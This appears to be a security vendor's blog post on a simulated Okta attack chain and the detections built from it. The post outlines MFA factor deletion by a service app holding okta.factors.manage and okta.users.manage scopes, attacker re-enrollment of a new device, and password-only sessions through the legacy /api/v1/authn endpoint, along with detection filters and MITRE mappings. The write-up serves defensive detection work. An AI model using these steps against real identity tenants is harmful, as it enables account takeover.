Use Alternate Authentication Material: Application Access Token

T1078.004

Valid Accounts: Cloud Accounts

T1098

Account Manipulation

T1556.006

Modify Authentication Process: Multi-Factor Authentication

Okta Service App MFA Deletion Investigation

This detection detects MFA factor deletion events performed by a service application rather than a human user. It fires at the first destructive action in the attack chain after the service app has already acquired dangerous scopes (Skill 1) and is now using them.

The triggering event is user.mfa.factor.deactivate where:

actor:type = PublicClientAppEntity

This actor type is unique to non-human service applications using OAuth2 machine tokens. A human admin deleting MFA would produce an actor:type = User rather than PublicClientAppEntity.

Two user.mfa.factor.deactivate events were confirmed in adversary logs.

Actor

Victim

Factors Deleted

Source IP

Okta Attack Simulation ( 0oa12mpul35K5UhuT698 )

testvictim00@proton.me

OKTA_VERIFY_PUSH

<ip-address>

Okta Attack Simulation ( 0oa12mpul35K5UhuT698 )

testvictim00@proton.me

OKTA_SOFT_TOKEN

<ip-address>

Setup Activity Preceding the Deletion

The setup operator performed the following from the first ip address prior to the deletion:

  1. Created OIDC PublicClientAppEntity app Okta Attack Simulation

  2. Created  app with client_credentials

  3. Granted admin consents for okta.factors.manage and okta.users.manage

  4. Registered EC keypair credential attack-sim-key-1 

Post-Deletion Impact

After both factors were wiped from testvictim00@proton.me:

  • At 17:40 : Victim hit an ENROLL policy — Okta detected no factors and forced re-enrollment

  • At 18:39 : Re-enrollment from a different IP as the first and registering a new device ( Attacker's iPhone )

  • Three new factors activated: SIGNED_NONCE , OKTA_VERIFY_PUSH , OKTA_SOFT_TOKEN

  • Victim successfully re-authenticated at 18:40

MITRE ATT&CK Mapping

Technique

Description

T1556.006

Modify Authentication Process: Multi-Factor Authentication

T1098

Account Manipulation

T1550.001

Use Alternate Authentication Material: Application Access Token

T1136

Create Account (OAuth app creation as stepping stone)

Okta Legacy API Auth Without MFA Challenge

This detection detects authentication via the legacy Okta /api/v1/authn endpoint that bypasses the modern MFA challenge flow. It fires at the completion of Initial Access where the attacker or automation tool has successfully established a session without completing an MFA challenge.

The core fingerprint is the session ID prefix:

  • 102... prefix = legacy API (Classic engine /api/v1/authn)

  • idx... prefix = Identity Engine (modern pipeline with MFA enforcement)

This bypasses MFA because Okta runs two distinct authentication pipelines:

Signal

Legacy API ( /api/v1/authn )

Identity Engine (Modern)

Session ID prefix

102

idx

Policy evaluation

ALLOW immediately

CHALLENGE → then ALLOW

MFA event present?

No user.authentication.auth_via_mfa

✅ Yes, before session start

Client device

Unknown

Computer / Mobile

User agent

python-requests , curl

Browser UA

target in session.start

null

Contains AppInstance

The legacy global session policy ( OktaSignOn type) governs these sessions. If the policy rule has policyRuleFactorMode = '1FA' , MFA is not required. This means a valid password alone produces a session.

The full event chain for the session was confirmed as:

  1. user.authentication.verify → SUCCESS (password only)

  2. policy.evaluate_sign_on → ALLOW (OktaSignOn Default Policy, 1FA rule)

  3. user.session.start → SUCCESS (102-prefix, python-requests , target: null )

  4. No user.authentication.auth_via_mfa anywhere in the chain

MITRE ATT&CK Mapping

Technique

Description

T1078.004

Valid Accounts: Cloud Accounts

T1621

Multi-Factor Authentication Request Generation (bypass)

T1556

Modify Authentication Process

T1550.001

Use Alternate Authentication Material: Application Access Token

Attack Chain Diagram

The following diagram shows how all three detections chain together to cover the full adversary attack lifecycle, with each detection firing at a distinct stage:


Detection 1

Detection 2

Detection 3

Name

Dangerous Scope Token Grant

Service App MFA Deletion

Legacy API Auth Without MFA

Attack Phase

Pre-exploitation

Mid-chain

Initial Access complete

Fires At

Capability acquisition

First destructive action

Session established

Primary Event

app.oauth2.token.grant.access_token

user.mfa.factor.deactivate

user.session.start

Key Filter

grantType = client_credentials + dangerous scope

actor.type = PublicClientAppEntity

externalSessionId LIKE '102%'

Default Severity

HIGH

HIGH

HIGH (automation UA) / MEDIUM

Fills Gap

Fires before damage

Fires at damage

Fires after access gained

Conclusion

This simulation demonstrated a complete, end-to-end adversary attack chain targeting an Okta-federated Azure environment, progressing from passive reconnaissance through credential access, persistence, and credential-less lateral movement. Each stage was executed against isolated test infrastructure and validated with real output, confirming that the techniques are not only theoretically viable but practically executable with minimal tooling. Of the four stages simulated, Panther detected activity in only one including the MFA factor deletion in Stage 4 and even that detection fired at INFO severity with unknown actor attribution, rendering the alert of limited investigative value without significant manual correlation. The remaining stages, including the legacy API authentication bypass, the OAuth2 service application token generation, and the Golden SAML lateral movement, produced no alerts whatsoever.                                                                                                                                                                          I

In response to the gaps identified, three Panther AI skills were developed directly from the simulation findings. The first, Okta Service App Dangerous Scope Token Grant, targets app.oauth2.token.grant.access_token events where granted scopes include okta.users.manage or okta.factors.manage, closing the visibility gap on the Stage 4 token generation step that is currently entirely invisible. The second, Okta Legacy API Auth Without MFA Challenge, detects user.session.start events originating from the /api/v1/authn endpoint without a corresponding MFA verification event in the same session chain, directly addressing the Stage 3 bypass that    allowed credential-only authentication to succeed against a policy-enforced org. The third, Okta Service App MFA Deletion Investigation, enriches the existing Okta.User.MFA.Reset.Single detection by surfacing service app actor type and automated user agent context when actor.type is PublicClientAppEntity, restoring attribution fidelity for the class of actions that currently resolve to unknown. Together, these three skills address the most actionable detection gaps identified across the simulation and provide a materially stronger coverage posture against this attack chain.

Read our latest threat research on Panther's blog.

References

https://developer.okta.com/docs/reference/api/authn/ 

https://techcommunity.microsoft.com/blog/microsoft-entra-blog/understanding-and-mitigating-golden-saml-attacks/4418864 

https://github.com/elastic/dorothy

https://github.com/panther-labs/panther-analysis/pull/2072 

Share:

Bolt-on AI closes alerts. Panther closes the loop.

See how Panther compounds intelligence across the SOC.

Bolt-on AI closes alerts. Panther closes the loop.

See how Panther compounds intelligence across the SOC.

Bolt-on AI closes alerts. Panther closes the loop.

See how Panther compounds intelligence across the SOC.

Bolt-on AI closes alerts. Panther closes the loop.

See how Panther compounds intelligence across the SOC.

Get product updates, webinars, and news

By submitting this form, you acknowledge and agree that Panther will process your personal information in accordance with the Privacy Policy.

Get product updates, webinars, and news

By submitting this form, you acknowledge and agree that Panther will process your personal information in accordance with the Privacy Policy.

Get product updates, webinars, and news

By submitting this form, you acknowledge and agree that Panther will process your personal information in accordance with the Privacy Policy.